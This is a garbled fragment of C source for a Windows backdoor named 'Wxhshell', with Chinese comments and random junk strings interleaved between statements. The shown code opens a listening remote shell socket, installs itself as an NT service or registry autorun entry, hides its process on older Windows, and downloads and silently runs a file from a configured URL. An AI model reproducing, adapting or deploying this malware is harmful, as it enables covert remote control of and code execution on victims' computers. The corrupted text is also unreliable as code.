)xg g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); CYMM*4# g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pIrv$^ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4I+.^7d IFkvv1S` if (!NtQueryInformationProcess) return 0; 8:BQHYeJK *%]+sU hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `,Q <YT ~ if(!hProcess) return 0; U0ns3LirP .w=:+msL{( if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }$&);7(w |'!7F9GP CloseHandle(hProcess); ENpaaW@!Y </2,2AV4q* hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |^\Hv5 if(hProcess==NULL) return 0; YGi/]^Nba CD$u=E
] HMODULE hMod; >zN"
z) char procName[255]; [k}dES# unsigned long cbNeeded; `8qT['`#R s n=zh1 A if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @DUN;L 4 O>kXysM v> CloseHandle(hProcess); fB@K'JQG 3/yt*cr if(strstr(procName,"services")) return 1; // 以服务启动 {A!;W k,yc>3P;U return 0; // 注册表启动 5 >0\e_V } ID_|H?. @|jKO5Y // 主模块
rytGr9S int StartWxhshell(LPSTR lpCmdLine) Y8{T.\%\+ { V7Vbl?*n SOCKET wsl; m&(%&}g BOOL val=TRUE; u)N2 int port=0; dVjcK/T< struct sockaddr_in door; /7!_un9 8T!fGzHx if(wscfg.ws_autoins) Install(); 1 P(&GYc KY;uO 8Te port=atoi(lpCmdLine); Po2_ 0uX Ncs4<"{$ if(port<=0) port=wscfg.ws_port; OtrXYiKB
5#N"WHz! WSADATA data; H-nFsJ(R!c if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `!5tH?bX
_#y(w% if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; dM>j<JC= setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Dohl,d door.sin_family = AF_INET; Xs.$2 door.sin_addr.s_addr = inet_addr("127.0.0.1"); )VV4HoH]8 door.sin_port = htons(port); K{eqB!@j Lqz}&A
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { c,{& closesocket(wsl); fwar8
i1 return 1; &-=G9sb, } 62k9"xSH ^=heen<S% if(listen(wsl,2) == INVALID_SOCKET) { YFC0KU closesocket(wsl); Wfi:wCqZG return 1; BIHHRCe:@n } %nG~u,_2f Wxhshell(wsl); f0N)N}y WSACleanup(); [1QkcR etQx>U return 0; g9grfN d=.n|rS4
W } hr$VVbOho "`V"2zZlj // 以NT服务方式启动 h!X'SGK VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6@ (k8<3 { h~^qG2TYWq DWORD status = 0; ,_TH@0{ DWORD specificError = 0xfffffff; y:^>(l #; ,~ia$vI}R serviceStatus.dwServiceType = SERVICE_WIN32; =km-`}I, serviceStatus.dwCurrentState = SERVICE_START_PENDING; 1Q2k>q8 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; RfVV(X serviceStatus.dwWin32ExitCode = 0; <or>bo^ serviceStatus.dwServiceSpecificExitCode = 0; 66Cj=n5 serviceStatus.dwCheckPoint = 0; I,`D& serviceStatus.dwWaitHint = 0; ys"mP*wD sQ3ayB` hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F%ylR^H> if (hServiceStatusHandle==0) return; qkR,<"C|` VE S4x%r= status = GetLastError(); [gg7Z|Hu if (status!=NO_ERROR) sLpCWIy { aaa#/OWQZ serviceStatus.dwCurrentState = SERVICE_STOPPED; q[,R%6&' serviceStatus.dwCheckPoint = 0; ?#{2?%_ serviceStatus.dwWaitHint = 0; cO"Xg<#y serviceStatus.dwWin32ExitCode = status; g`f6gxc serviceStatus.dwServiceSpecificExitCode = specificError; b6E8ase:F SetServiceStatus(hServiceStatusHandle, &serviceStatus); O]4
x;`) return; 1SJHX1CxX } r+W8m?oi 9 %.<V_$ serviceStatus.dwCurrentState = SERVICE_RUNNING; ]mLTF',5 serviceStatus.dwCheckPoint = 0; l4B O@ serviceStatus.dwWaitHint = 0; piM11W}|/ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (k2J{6] } j/` qd(=B /j5-
"<;. // 处理NT服务事件,比如:启动、停止 V2sB[Mw VOID WINAPI NTServiceHandler(DWORD fdwControl) d_?Zr`: { fKK-c9F switch(fdwControl) 'frL/[S { G<WDyoN=O case SERVICE_CONTROL_STOP: _F$t#.o serviceStatus.dwWin32ExitCode = 0; HBf8!\0|/ serviceStatus.dwCurrentState = SERVICE_STOPPED; ~9ls~$+* serviceStatus.dwCheckPoint = 0; lO[jf6gB serviceStatus.dwWaitHint = 0; YPJx/@Z` { CR8r|+(8 SetServiceStatus(hServiceStatusHandle, &serviceStatus); =A&*SE o5 } FSZoT! return; c+K=pp@ case SERVICE_CONTROL_PAUSE: v>cE59('0 serviceStatus.dwCurrentState = SERVICE_PAUSED; $(mdz)Cfy break; GWE0 UO} case SERVICE_CONTROL_CONTINUE:
'jl XLb serviceStatus.dwCurrentState = SERVICE_RUNNING; qYiK bzy break;
*/dsMa case SERVICE_CONTROL_INTERROGATE: YM/3VD break; CR PE?CRQF }; Mh/>qyS*2 SetServiceStatus(hServiceStatusHandle, &serviceStatus); IqJ=\ } 3f.Gog Am`A[rV0 // 标准应用程序主函数 TOF62, int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .p*D[o2 9 { F0^~YYRJV sTstc+w // 获取操作系统版本 Bst>9V&R OsIsNt=GetOsVer(); c]v3dHE_h GetModuleFileName(NULL,ExeFile,MAX_PATH); bFxJ| ?RAR // 从命令行安装 kvVz-PJy if(strpbrk(lpCmdLine,"iI")) Install(); ~I^[rP~ p:>? // 下载执行文件 Y52xrIvl\ if(wscfg.ws_downexe) { 2_~XjwKE if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) EKJ4_kkjM WinExec(wscfg.ws_filenam,SW_HIDE); Nc Mq>n } b2kbuk] g<tTZD\g if(!OsIsNt) { GYmB xX87 // 如果时win9x,隐藏进程并且设置为注册表启动 _<}5[(qu HideProc(); 'Mhdw} StartWxhshell(lpCmdLine); ~vZzKRVS } W$&Ets8zo else x9
L\" if(StartFromService()) 9NXiCP9A // 以服务方式启动 (mr`?LI} StartServiceCtrlDispatcher(DispatchTable); /
H/Ne
)r else *(.^$Iq4 // 普通方式启动 Dk6\p~q StartWxhshell(lpCmdLine); -"fq34v i4Cb&h^ return 0; 5!{g6=( }
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